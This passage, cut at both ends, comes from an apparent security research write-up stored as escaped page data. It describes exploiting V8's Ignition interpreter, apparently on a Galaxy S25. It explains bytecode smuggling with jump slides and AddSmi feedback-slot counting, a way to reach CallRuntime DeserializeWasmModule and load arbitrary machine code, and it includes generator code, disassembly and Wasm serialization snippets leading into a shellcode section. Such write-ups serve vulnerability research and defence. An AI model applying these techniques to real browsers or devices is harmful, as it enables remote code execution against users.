a209",{"type":23,"tag":504,"props":131477,"children":131478},{"style":598},[131479],{"type":28,"value":648},{"type":23,"tag":504,"props":131481,"children":131482},{"style":1440},[131483],{"type":28,"value":131411},{"type":23,"tag":504,"props":131485,"children":131486},{"style":523},[131487],{"type":28,"value":866},{"type":23,"tag":504,"props":131489,"children":131490},{"class":506,"line":687},[131491,131495,131500,131504,131508],{"type":23,"tag":504,"props":131492,"children":131493},{"style":511},[131494],{"type":28,"value":10769},{"type":23,"tag":504,"props":131496,"children":131497},{"style":529},[131498],{"type":28,"value":131499}," a210",{"type":23,"tag":504,"props":131501,"children":131502},{"style":598},[131503],{"type":28,"value":648},{"type":23,"tag":504,"props":131505,"children":131506},{"style":1440},[131507],{"type":28,"value":131411},{"type":23,"tag":504,"props":131509,"children":131510},{"style":523},[131511],{"type":28,"value":866},{"type":23,"tag":504,"props":131513,"children":131514},{"class":506,"line":736},[131515,131519,131524,131528,131532],{"type":23,"tag":504,"props":131516,"children":131517},{"style":511},[131518],{"type":28,"value":10769},{"type":23,"tag":504,"props":131520,"children":131521},{"style":529},[131522],{"type":28,"value":131523}," a211",{"type":23,"tag":504,"props":131525,"children":131526},{"style":598},[131527],{"type":28,"value":648},{"type":23,"tag":504,"props":131529,"children":131530},{"style":1440},[131531],{"type":28,"value":131411},{"type":23,"tag":504,"props":131533,"children":131534},{"style":523},[131535],{"type":28,"value":866},{"type":23,"tag":504,"props":131537,"children":131538},{"class":506,"line":785},[131539,131543,131548,131552,131556],{"type":23,"tag":504,"props":131540,"children":131541},{"style":511},[131542],{"type":28,"value":10769},{"type":23,"tag":504,"props":131544,"children":131545},{"style":529},[131546],{"type":28,"value":131547}," a212",{"type":23,"tag":504,"props":131549,"children":131550},{"style":598},[131551],{"type":28,"value":648},{"type":23,"tag":504,"props":131553,"children":131554},{"style":1440},[131555],{"type":28,"value":131411},{"type":23,"tag":504,"props":131557,"children":131558},{"style":523},[131559],{"type":28,"value":866},{"type":23,"tag":24,"props":131561,"children":131562},{},[131563],{"type":28,"value":131564},"Those instructions result in:",{"type":23,"tag":494,"props":131566,"children":131568},{"code":131567},"00: LdaTrue;\n01: LdaTrue;\n02: Jump +8;  >------------+\n04: Star rX + LdaSmi ...   |\nv--------------------------+\n0a: LdaTrue;\n0b: LdaTrue;\n",[131569],{"type":23,"tag":56,"props":131570,"children":131571},{"__ignoreMap":7},[131572],{"type":28,"value":131567},{"type":23,"tag":24,"props":131574,"children":131575},{},[131576,131578,131584,131586,131590],{"type":28,"value":131577},"(The offset of ",{"type":23,"tag":56,"props":131579,"children":131581},{"className":131580},[],[131582],{"type":28,"value":131583},"Jump",{"type":28,"value":131585}," instructions is added to the ",{"type":23,"tag":1887,"props":131587,"children":131588},{},[131589],{"type":28,"value":1736},{"type":28,"value":131591}," of the instruction.)",{"type":23,"tag":24,"props":131593,"children":131594},{},[131595,131597,131603],{"type":28,"value":131596},"Now, 3 out of the 6 bytes in a ",{"type":23,"tag":56,"props":131598,"children":131600},{"className":131599},[],[131601],{"type":28,"value":131602},"LdaSmi.ExtraWide",{"type":28,"value":131604}," instruction are valid for merging into the smuggled arbitrary Ignition bytecode. This slide made exploit development a lot easier, as any additional code would cause the exception table to have new offsets.",{"type":23,"tag":82,"props":131606,"children":131608},{"id":131607},"exploit-goal",[131609],{"type":28,"value":131610},"Exploit Goal",{"type":23,"tag":24,"props":131612,"children":131613},{},[131614,131616,131622,131623,131629],{"type":28,"value":131615},"Initially we considered using ",{"type":23,"tag":56,"props":131617,"children":131619},{"className":131618},[],[131620],{"type":28,"value":131621},"Star",{"type":28,"value":3562},{"type":23,"tag":56,"props":131624,"children":131626},{"className":131625},[],[131627],{"type":28,"value":131628},"Ldar",{"type":28,"value":131630}," instructions to store to out-of-bounds register indexes, as registers are stored on the regular stack. However, with only 2 bytes we can only access +/- 0x7f registers, which does not allow us to go out of bounds enough to access interesting values.",{"type":23,"tag":24,"props":131632,"children":131633},{},[131634,131636,131643],{"type":28,"value":131635},"We realized that register offsets 0 and 1 contain the saved frame pointer and return address respectively. We considered using this to ",{"type":23,"tag":92,"props":131637,"children":131640},{"href":131638,"rel":131639},"https://github.com/google/google-ctf/tree/main/2023/quals/sandbox-v8box/solution",[96],[131641],{"type":28,"value":131642},"stack pivot and ROP",{"type":28,"value":131644},". However, there were numerous downsides - primarily, we would need multiple leaks of binary addresses and the JS heap (to construct a buffer with a fake stack frame).",{"type":23,"tag":24,"props":131646,"children":131647},{},[131648],{"type":28,"value":131649},"Additionally, the interpreter expects all values to be tagged V8 values (i.e. 32-bit compressed pointers or Smis). This means that operating on 64-bit addresses can cause surprising truncations or 'untagging' extensions.",{"type":23,"tag":24,"props":131651,"children":131652},{},[131653],{"type":28,"value":131654},"Finally, ROP/stack pivoting-based approaches would cause significant work when porting from our x86_64 development machines to the aarch64 target device, and might not even be feasible given the existence of PAC and BTI on the Galaxy S25.",{"type":23,"tag":24,"props":131656,"children":131657},{},[131658,131660,131666,131668,131674,131676,131682],{"type":28,"value":131659},"At this point, we identified an interesting opcode: ",{"type":23,"tag":56,"props":131661,"children":131663},{"className":131662},[],[131664],{"type":28,"value":131665},"CallRuntime",{"type":28,"value":131667},". Runtime functions are used to implement a lot of core V8 functionality, and are native functions exposed to bytecode (but not to the user, unless ",{"type":23,"tag":56,"props":131669,"children":131671},{"className":131670},[],[131672],{"type":28,"value":131673},"--allow-natives-syntax",{"type":28,"value":131675}," is enabled). Many of these allow powerful functionality as inputs are assumed to be trusted, but one stands out: ",{"type":23,"tag":56,"props":131677,"children":131679},{"className":131678},[],[131680],{"type":28,"value":131681},"DeserializeWasmModule",{"type":28,"value":320},{"type":23,"tag":24,"props":131684,"children":131685},{},[131686,131688,131695,131696,131701,131702,131708,131710,131717],{"type":28,"value":131687},"WebAssembly modules may be internally serialized and deserialized by the runtime - this serialization format includes raw machine code for any ",{"type":23,"tag":92,"props":131689,"children":131692},{"href":131690,"rel":131691},"https://gist.github.com/Riatre/83d5fdb970946c8e185c5e1b2b842b1b",[96],[131693],{"type":28,"value":131694},"JIT-compiled functions",{"type":28,"value":17512},{"type":23,"tag":56,"props":131697,"children":131699},{"className":131698},[],[131700],{"type":28,"value":131681},{"type":28,"value":3562},{"type":23,"tag":56,"props":131703,"children":131705},{"className":131704},[],[131706],{"type":28,"value":131707},"SerializeWasmModule",{"type":28,"value":131709}," themselves are only used from test functions, and indeed have been ",{"type":23,"tag":92,"props":131711,"children":131714},{"href":131712,"rel":131713},"https://chromium-review.googlesource.com/c/v8/v8/+/6875821",[96],[131715],{"type":28,"value":131716},"removed",{"type":28,"value":131718}," from recent production V8 builds due to how abusable this functionality is.",{"type":23,"tag":24,"props":131720,"children":131721},{},[131722,131724,131730,131732,131738,131740,131745,131747,131753,131755,131760,131761,131766,131767,131772,131774,131780,131782,131786],{"type":28,"value":131723},"However, calling this opcode represented a significant challenge:\n",{"type":23,"tag":56,"props":131725,"children":131727},{"className":131726},[],[131728],{"type":28,"value":131729},"CallRuntime \u003Cfunc-id> \u003Cargs> \u003Cargc>",{"type":28,"value":131731},"\nWhere ",{"type":23,"tag":56,"props":131733,"children":131735},{"className":131734},[],[131736],{"type":28,"value":131737},"func-id",{"type":28,"value":131739}," is a 2-byte function ID, ",{"type":23,"tag":56,"props":131741,"children":131743},{"className":131742},[],[131744],{"type":28,"value":37204},{"type":28,"value":131746}," is the index of the last register passed and ",{"type":23,"tag":56,"props":131748,"children":131750},{"className":131749},[],[131751],{"type":28,"value":131752},"argc",{"type":28,"value":131754}," is the number of arguments passed (e.g. passing ",{"type":23,"tag":56,"props":131756,"children":131758},{"className":131757},[],[131759],{"type":28,"value":43359},{"type":28,"value":576},{"type":23,"tag":56,"props":131762,"children":131764},{"className":131763},[],[131765],{"type":28,"value":43502},{"type":28,"value":430},{"type":23,"tag":56,"props":131768,"children":131770},{"className":131769},[],[131771],{"type":28,"value":43485},{"type":28,"value":131773}," would be encoded as ",{"type":23,"tag":56,"props":131775,"children":131777},{"className":131776},[],[131778],{"type":28,"value":131779},"\u003Cr2> \u003C3>",{"type":28,"value":131781},").\nThis requires ",{"type":23,"tag":1887,"props":131783,"children":131784},{},[131785],{"type":28,"value":17089},{"type":28,"value":131787}," bytes of control - additionally, we must then store the accumulator safely into a register, then return the value back to JS code.",{"type":23,"tag":82,"props":131789,"children":131791},{"id":131790},"better-bytecode-control",[131792],{"type":28,"value":131793},"Better Bytecode Control",{"type":23,"tag":24,"props":131795,"children":131796},{},[131797,131799,131806,131808,131814],{"type":28,"value":131798},"Luckily, arithmetic instructions in Ignition have a feature known as the '",{"type":23,"tag":92,"props":131800,"children":131803},{"href":131801,"rel":131802},"https://benediktmeurer.de/2017/12/13/an-introduction-to-speculative-optimization-in-v8/",[96],[131804],{"type":28,"value":131805},"feedback vector slot",{"type":28,"value":131807},"', where it stores profiling information for subsequent optimizations by Turbofan. Observationally, for the ",{"type":23,"tag":56,"props":131809,"children":131811},{"className":131810},[],[131812],{"type":28,"value":131813},"AddSmi",{"type":28,"value":131815}," instruction, it represents the number of operations performed on the target value so far.",{"type":23,"tag":24,"props":131817,"children":131818},{},[131819],{"type":28,"value":131820},"For example, we can look at the below Ignition disassembly:",{"type":23,"tag":494,"props":131822,"children":131824},{"code":131823},"2000 : 01 0d 11 11 93 0e LdaSmi.ExtraWide [244519185]\n2006 : cd                Star1\n2007 : 00 1b ff ff 1d ff Mov.Wide \u003Ccontext>, r220\n2013 : 0b f8             Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8             Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8             Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8             Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8             Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[131825],{"type":23,"tag":56,"props":131826,"children":131827},{"__ignoreMap":7},[131828],{"type":28,"value":131823},{"type":23,"tag":24,"props":131830,"children":131831},{},[131832,131834,131840],{"type":28,"value":131833},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":56,"props":131835,"children":131837},{"className":131836},[],[131838],{"type":28,"value":131839},"AddSmi.ExtraWide",{"type":28,"value":131841},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":131843,"children":131844},{},[131845],{"type":28,"value":131846},"Eventually, we can reach a stage like this:",{"type":23,"tag":494,"props":131848,"children":131850},{"code":131849},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[131851],{"type":23,"tag":56,"props":131852,"children":131853},{"__ignoreMap":7},[131854],{"type":28,"value":131849},{"type":23,"tag":24,"props":131856,"children":131857},{},[131858],{"type":28,"value":131859},"If you skip the first two bytes, you have",{"type":23,"tag":350,"props":131861,"children":131862},{},[131863,131894],{"type":23,"tag":45,"props":131864,"children":131865},{},[131866,131871,131873,131878,131880,131886,131888],{"type":23,"tag":56,"props":131867,"children":131869},{"className":131868},[],[131870],{"type":28,"value":131665},{"type":28,"value":131872}," (0x6c) to ",{"type":23,"tag":56,"props":131874,"children":131876},{"className":131875},[],[131877],{"type":28,"value":131681},{"type":28,"value":131879}," (0x0266) starting from register ",{"type":23,"tag":56,"props":131881,"children":131883},{"className":131882},[],[131884],{"type":28,"value":131885},"a2",{"type":28,"value":131887}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":56,"props":131889,"children":131891},{"className":131890},[],[131892],{"type":28,"value":131893},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":45,"props":131895,"children":131896},{},[131897],{"type":28,"value":131898},"a Jump instruction",{"type":23,"tag":82,"props":131900,"children":131902},{"id":131901},"returning-back-to-js",[131903],{"type":28,"value":131904},"Returning Back to JS",{"type":23,"tag":24,"props":131906,"children":131907},{},[131908,131910,131916],{"type":28,"value":131909},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":56,"props":131911,"children":131913},{"className":131912},[],[131914],{"type":28,"value":131915},"yield",{"type":28,"value":131917}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":131919,"children":131920},{},[131921],{"type":28,"value":131922},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":494,"props":131924,"children":131926},{"code":131925,"language":498,"meta":7,"className":496,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n  a1 + 0x0402666c;\n  throw 0x393e91a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[131927],{"type":23,"tag":56,"props":131928,"children":131929},{"__ignoreMap":7},[131930,131941,131989,132010,132026,132049,132077,132094],{"type":23,"tag":504,"props":131931,"children":131932},{"class":506,"line":507},[131933,131937],{"type":23,"tag":504,"props":131934,"children":131935},{"style":544},[131936],{"type":28,"value":47311},{"type":23,"tag":504,"props":131938,"children":131939},{"style":523},[131940],{"type":28,"value":552},{"type":23,"tag":504,"props":131942,"children":131943},{"class":506,"line":540},[131944,131949,131953,131958,131962,131967,131971,131976,131980,131984],{"type":23,"tag":504,"props":131945,"children":131946},{"style":529},[131947],{"type":28,"value":131948},"  $",{"type":23,"tag":504,"props":131950,"children":131951},{"style":523},[131952],{"type":28,"value":75369},{"type":23,"tag":504,"props":131954,"children":131955},{"style":622},[131956],{"type":28,"value":131957},"'a1 + 0xa931111;'",{"type":23,"tag":504,"props":131959,"children":131960},{"style":523},[131961],{"type":28,"value":320},{"type":23,"tag":504,"props":131963,"children":131964},{"style":517},[131965],{"type":28,"value":131966},"repeat",{"type":23,"tag":504,"props":131968,"children":131969},{"style":523},[131970],{"type":28,"value":526},{"type":23,"tag":504,"props":131972,"children":131973},{"style":1440},[131974],{"type":28,"value":131975},"0x059302",{"type":23,"tag":504,"props":131977,"children":131978},{"style":598},[131979],{"type":28,"value":50234},{"type":23,"tag":504,"props":131981,"children":131982},{"style":1440},[131983],{"type":28,"value":3504},{"type":23,"tag":504,"props":131985,"children":131986},{"style":523},[131987],{"type":28,"value":131988},")}\n",{"type":23,"tag":504,"props":131990,"children":131991},{"class":506,"line":555},[131992,131997,132001,132006],{"type":23,"tag":504,"props":131993,"children":131994},{"style":529},[131995],{"type":28,"value":131996},"  a1",{"type":23,"tag":504,"props":131998,"children":131999},{"style":598},[132000],{"type":28,"value":7888},{"type":23,"tag":504,"props":132002,"children":132003},{"style":1440},[132004],{"type":28,"value":132005}," 0x0402666c",{"type":23,"tag":504,"props":132007,"children":132008},{"style":523},[132009],{"type":28,"value":866},{"type":23,"tag":504,"props":132011,"children":132012},{"class":506,"line":633},[132013,132017,132022],{"type":23,"tag":504,"props":132014,"children":132015},{"style":544},[132016],{"type":28,"value":34178},{"type":23,"tag":504,"props":132018,"children":132019},{"style":1440},[132020],{"type":28,"value":132021}," 0x393e91a",{"type":23,"tag":504,"props":132023,"children":132024},{"style":523},[132025],{"type":28,"value":866},{"type":23,"tag":504,"props":132027,"children":132028},{"class":506,"line":687},[132029,132033,132037,132041,132045],{"type":23,"tag":504,"props":132030,"children":132031},{"style":523},[132032],{"type":28,"value":45853},{"type":23,"tag":504,"props":132034,"children":132035},{"style":544},[132036],{"type":28,"value":796},{"type":23,"tag":504,"props":132038,"children":132039},{"style":523},[132040],{"type":28,"value":801},{"type":23,"tag":504,"props":132042,"children":132043},{"style":529},[132044],{"type":28,"value":1231},{"type":23,"tag":504,"props":132046,"children":132047},{"style":523},[132048],{"type":28,"value":537},{"type":23,"tag":504,"props":132050,"children":132051},{"class":506,"line":736},[132052,132056,132060,132064,132068,132073],{"type":23,"tag":504,"props":132053,"children":132054},{"style":529},[132055],{"type":28,"value":100695},{"type":23,"tag":504,"props":132057,"children":132058},{"style":523},[132059],{"type":28,"value":320},{"type":23,"tag":504,"props":132061,"children":132062},{"style":517},[132063],{"type":28,"value":100704},{"type":23,"tag":504,"props":132065,"children":132066},{"style":523},[132067],{"type":28,"value":526},{"type":23,"tag":504,"props":132069,"children":132070},{"style":622},[132071],{"type":28,"value":132072},"\"foo\"",{"type":23,"tag":504,"props":132074,"children":132075},{"style":523},[132076],{"type":28,"value":630},{"type":23,"tag":504,"props":132078,"children":132079},{"class":506,"line":785},[132080,132085,132090],{"type":23,"tag":504,"props":132081,"children":132082},{"style":544},[132083],{"type":28,"value":132084},"  yield",{"type":23,"tag":504,"props":132086,"children":132087},{"style":529},[132088],{"type":28,"value":132089}," a16",{"type":23,"tag":504,"props":132091,"children":132092},{"style":523},[132093],{"type":28,"value":866},{"type":23,"tag":504,"props":132095,"children":132096},{"class":506,"line":813},[132097],{"type":23,"tag":504,"props":132098,"children":132099},{"style":523},[132100],{"type":28,"value":884},{"type":23,"tag":24,"props":132102,"children":132103},{},[132104,132106],{"type":28,"value":132105},"Starting from the final ",{"type":23,"tag":56,"props":132107,"children":132109},{"className":132108},[],[132110],{"type":28,"value":131813},{"type":23,"tag":494,"props":132112,"children":132114},{"code":132113}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1                Throw\n 4385791 : 00 1a 1a ff       Star.Wide r223\n",[132115],{"type":23,"tag":56,"props":132116,"children":132117},{"__ignoreMap":7},[132118],{"type":28,"value":132113},{"type":23,"tag":24,"props":132120,"children":132121},{},[132122,132124,132129,132131,132137],{"type":28,"value":132123},"The smuggled jump in ",{"type":23,"tag":56,"props":132125,"children":132127},{"className":132126},[],[132128],{"type":28,"value":131813},{"type":28,"value":132130}," will redirect us to ",{"type":23,"tag":56,"props":132132,"children":132134},{"className":132133},[],[132135],{"type":28,"value":132136},"1a e9 93 03",{"type":28,"value":132138},", which results in:",{"type":23,"tag":350,"props":132140,"children":132141},{},[132142,132153],{"type":23,"tag":45,"props":132143,"children":132144},{},[132145,132151],{"type":23,"tag":56,"props":132146,"children":132148},{"className":132147},[],[132149],{"type":28,"value":132150},"Star r16",{"type":28,"value":132152}," (store accumulator to r16)",{"type":23,"tag":45,"props":132154,"children":132155},{},[132156,132161],{"type":23,"tag":56,"props":132157,"children":132159},{"className":132158},[],[132160],{"type":28,"value":131583},{"type":28,"value":132162}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":132164,"children":132165},{},[132166,132168,132174],{"type":28,"value":132167},"This will bring us nicely to the final ",{"type":23,"tag":56,"props":132169,"children":132171},{"className":132170},[],[132172],{"type":28,"value":132173},"yield a16",{"type":28,"value":132175},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":82,"props":132177,"children":132179},{"id":132178},"executing-shellcode",[132180],{"type":28,"value":132181},"Executing Shellcode",{"type":23,"tag":24,"props":132183,"children":132184},{},[132185],{"type":28,"value":132186},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":494,"props":132188,"children":132190},{"code":132189,"language":34592,"meta":7,"className":34590,"style":7},"var wasm_code = new Uint8Array([\n  0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n  0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[132191],{"type":23,"tag":56,"props":132192,"children":132193},{"__ignoreMap":7},[132194,132224,132451,132519,132526,132571,132617,132657,132664,132688,132725,132761],{"type":23,"tag":504,"props":132195,"children":132196},{"class":506,"line":507},[132197,132201,132206,132210,132214,132219],{"type":23,"tag":504,"props":132198,"children":132199},{"style":511},[132200],{"type":28,"value":34023},{"type":23,"tag":504,"props":132202,"children":132203},{"style":529},[132204],{"type":28,"value":132205}," wasm_code",{"type":23,"tag":504,"props":132207,"children":132208},{"style":598},[132209],{"type":28,"value":648},{"type":23,"tag":504,"props":132211,"children":132212},{"style":511},[132213],{"type":28,"value":30911},{"type":23,"tag":504,"props":132215,"children":132216},{"style":517},[132217],{"type":28,"value":132218}," Uint8Array",{"type":23,"tag":504,"props":132220,"children":132221},{"style":523},[132222],{"type":28,"value":132223},"([\n",{"type":23,"tag":504,"props":132225,"children":132226},{"class":506,"line":540},[132227,132232,132236,132241,132245,132250,132254,132259,132263,132267,132271,132275,132279,132283,132287,132291,132295,132299,132303,132307,132311,132315,132319,132324,132328,132332,132336,132340,132344,132348,132352,132356,132360,132364,132368,132372,132376,132380,132384,132388,132392,132396,132400,132404,132408,132412,132416,132421,132425,132430,132434,132439,132443,132447],{"type":23,"tag":504,"props":132228,"children":132229},{"style":1440},[132230],{"type":28,"value":132231},"  0",{"type":23,"tag":504,"props":132233,"children":132234},{"style":523},[132235],{"type":28,"value":576},{"type":23,"tag":504,"props":132237,"children":132238},{"style":1440},[132239],{"type":28,"value":132240},"97",{"type":23,"tag":504,"props":132242,"children":132243},{"style":523},[132244],{"type":28,"value":576},{"type":23,"tag":504,"props":132246,"children":132247},{"style":1440},[132248],{"type":28,"value":132249},"115",{"type":23,"tag":504,"props":132251,"children":132252},{"style":523},[132253],{"type":28,"value":576},{"type":23,"tag":504,"props":132255,"children":132256},{"style":1440},[132257],{"type":28,"value":132258},"109",{"type":23,"tag":504,"props":132260,"children":132261},{"style":523},[132262],{"type":28,"value":576},{"type":23,"tag":504,"props":132264,"children":132265},{"style":1440},[132266],{"type":28,"value":2991},{"type":23,"tag":504,"props":132268,"children":132269},{"style":523},[132270],{"type":28,"value":576},{"type":23,"tag":504,"props":132272,"children":132273},{"style":1440},[132274],{"type":28,"value":3001},{"type":23,"tag":504,"props":132276,"children":132277},{"style":523},[132278],{"type":28,"value":576},{"type":23,"tag":504,"props":132280,"children":132281},{"style":1440},[132282],{"type":28,"value":3001},{"type":23,"tag":504,"props":132284,"children":132285},{"style":523},[132286],{"type":28,"value":576},{"type":23,"tag":504,"props":132288,"children":132289},{"style":1440},[132290],{"type":28,"value":3001},{"type":23,"tag":504,"props":132292,"children":132293},{"style":523},[132294],{"type":28,"value":576},{"type":23,"tag":504,"props":132296,"children":132297},{"style":1440},[132298],{"type":28,"value":2991},{"type":23,"tag":504,"props":132300,"children":132301},{"style":523},[132302],{"type":28,"value":576},{"type":23,"tag":504,"props":132304,"children":132305},{"style":1440},[132306],{"type":28,"value":16508},{"type":23,"tag":504,"props":132308,"children":132309},{"style":523},[132310],{"type":28,"value":576},{"type":23,"tag":504,"props":132312,"children":132313},{"style":1440},[132314],{"type":28,"value":2991},{"type":23,"tag":504,"props":132316,"children":132317},{"style":523},[132318],{"type":28,"value":576},{"type":23,"tag":504,"props":132320,"children":132321},{"style":1440},[132322],{"type":28,"value":132323},"96",{"type":23,"tag":504,"props":132325,"children":132326},{"style":523},[132327],{"type":28,"value":576},{"type":23,"tag":504,"props":132329,"children":132330},{"style":1440},[132331],{"type":28,"value":3001},{"type":23,"tag":504,"props":132333,"children":132334},{"style":523},[132335],{"type":28,"value":576},{"type":23,"tag":504,"props":132337,"children":132338},{"style":1440},[132339],{"type":28,"value":3001},{"type":23,"tag":504,"props":132341,"children":132342},{"style":523},[132343],{"type":28,"value":576},{"type":23,"tag":504,"props":132345,"children":132346},{"style":1440},[132347],{"type":28,"value":16275},{"type":23,"tag":504,"props":132349,"children":132350},{"style":523},[132351],{"type":28,"value":576},{"type":23,"tag":504,"props":132353,"children":132354},{"style":1440},[132355],{"type":28,"value":2100},{"type":23,"tag":504,"props":132357,"children":132358},{"style":523},[132359],{"type":28,"value":576},{"type":23,"tag":504,"props":132361,"children":132362},{"style":1440},[132363],{"type":28,"value":2991},{"type":23,"tag":504,"props":132365,"children":132366},{"style":523},[132367],{"type":28,"value":576},{"type":23,"tag":504,"props":132369,"children":132370},{"style":1440},[132371],{"type":28,"value":3001},{"type":23,"tag":504,"props":132373,"children":132374},{"style":523},[132375],{"type":28,"value":576},{"type":23,"tag":504,"props":132377,"children":132378},{"style":1440},[132379],{"type":28,"value":53649},{"type":23,"tag":504,"props":132381,"children":132382},{"style":523},[132383],{"type":28,"value":576},{"type":23,"tag":504,"props":132385,"children":132386},{"style":1440},[132387],{"type":28,"value":54864},{"type":23,"tag":504,"props":132389,"children":132390},{"style":523},[132391],{"type":28,"value":576},{"type":23,"tag":504,"props":132393,"children":132394},{"style":1440},[132395],{"type":28,"value":2991},{"type":23,"tag":504,"props":132397,"children":132398},{"style":523},[132399],{"type":28,"value":576},{"type":23,"tag":504,"props":132401,"children":132402},{"style":1440},[132403],{"type":28,"value":17089},{"type":23,"tag":504,"props":132405,"children":132406},{"style":523},[132407],{"type":28,"value":576},{"type":23,"tag":504,"props":132409,"children":132410},{"style":1440},[132411],{"type":28,"value":132249},{"type":23,"tag":504,"props":132413,"children":132414},{"style":523},[132415],{"type":28,"value":576},{"type":23,"tag":504,"props":132417,"children":132418},{"style":1440},[132419],{"type":28,"value":132420},"104",{"type":23,"tag":504,"props":132422,"children":132423},{"style":523},[132424],{"type":28,"value":576},{"type":23,"tag":504,"props":132426,"children":132427},{"style":1440},[132428],{"type":28,"value":132429},"101",{"type":23,"tag":504,"props":132431,"children":132432},{"style":523},[132433],{"type":28,"value":576},{"type":23,"tag":504,"props":132435,"children":132436},{"style":1440},[132437],{"type":28,"value":132438},"108",{"type":23,"tag":504,"props":132440,"children":132441},{"style":523},[132442],{"type":28,"value":576},{"type":23,"tag":504,"props":132444,"children":132445},{"style":1440},[132446],{"type":28,"value":132438},{"type":23,"tag":504,"props":132448,"children":132449},{"style":523},[132450],{"type":28,"value":2484},{"type":23,"tag":504,"props":132452,"children":132453},{"class":506,"line":555},[132454,132458,132462,132466,132470,132474,132478,132482,132486,132490,132494,132498,132502,132506,132510,132515],{"type":23,"tag":504,"props":132455,"children":132456},{"style":1440},[132457],{"type":28,"value":132231},{"type":23,"tag":504,"props":132459,"children":132460},{"style":523},[132461],{"type":28,"value":576},{"type":23,"tag":504,"props":132463,"children":132464},{"style":1440},[132465],{"type":28,"value":3001},{"type":23,"tag":504,"props":132467,"children":132468},{"style":523},[132469],{"type":28,"value":576},{"type":23,"tag":504,"props":132471,"children":132472},{"style":1440},[132473],{"type":28,"value":88004},{"type":23,"tag":504,"props":132475,"children":132476},{"style":523},[132477],{"type":28,"value":576},{"type":23,"tag":504,"props":132479,"children":132480},{"style":1440},[132481],{"type":28,"value":16508},{"type":23,"tag":504,"props":132483,"children":132484},{"style":523},[132485],{"type":28,"value":576},{"type":23,"tag":504,"props":132487,"children":132488},{"style":1440},[132489],{"type":28,"value":2991},{"type":23,"tag":504,"props":132491,"children":132492},{"style":523},[132493],{"type":28,"value":576},{"type":23,"tag":504,"props":132495,"children":132496},{"style":1440},[132497],{"type":28,"value":2100},{"type":23,"tag":504,"props":132499,"children":132500},{"style":523},[132501],{"type":28,"value":576},{"type":23,"tag":504,"props":132503,"children":132504},{"style":1440},[132505],{"type":28,"value":3001},{"type":23,"tag":504,"props":132507,"children":132508},{"style":523},[132509],{"type":28,"value":576},{"type":23,"tag":504,"props":132511,"children":132512},{"style":1440},[132513],{"type":28,"value":132514},"11",{"type":23,"tag":504,"props":132516,"children":132517},{"style":523},[132518],{"type":28,"value":2484},{"type":23,"tag":504,"props":132520,"children":132521},{"class":506,"line":633},[132522],{"type":23,"tag":504,"props":132523,"children":132524},{"style":523},[132525],{"type":28,"value":2730},{"type":23,"tag":504,"props":132527,"children":132528},{"class":506,"line":687},[132529,132533,132537,132541,132545,132550,132554,132558,132562,132567],{"type":23,"tag":504,"props":132530,"children":132531},{"style":511},[132532],{"type":28,"value":34023},{"type":23,"tag":504,"props":132534,"children":132535},{"style":529},[132536],{"type":28,"value":70373},{"type":23,"tag":504,"props":132538,"children":132539},{"style":598},[132540],{"type":28,"value":648},{"type":23,"tag":504,"props":132542,"children":132543},{"style":511},[132544],{"type":28,"value":30911},{"type":23,"tag":504,"props":132546,"children":132547},{"style":529},[132548],{"type":28,"value":132549}," WebAssembly",{"type":23,"tag":504,"props":132551,"children":132552},{"style":523},[132553],{"type":28,"value":320},{"type":23,"tag":504,"props":132555,"children":132556},{"style":517},[132557],{"type":28,"value":84670},{"type":23,"tag":504,"props":132559,"children":132560},{"style":523},[132561],{"type":28,"value":526},{"type":23,"tag":504,"props":132563,"children":132564},{"style":529},[132565],{"type":28,"value":132566},"wasm_code",{"type":23,"tag":504,"props":132568,"children":132569},{"style":523},[132570],{"type":28,"value":630},{"type":23,"tag":504,"props":132572,"children":132573},{"class":506,"line":736},[132574,132578,132583,132587,132591,132595,132599,132604,132608,132613],{"type":23,"tag":504,"props":132575,"children":132576},{"style":511},[132577],{"type":28,"value":34023},{"type":23,"tag":504,"props":132579,"children":132580},{"style":529},[132581],{"type":28,"value":132582}," 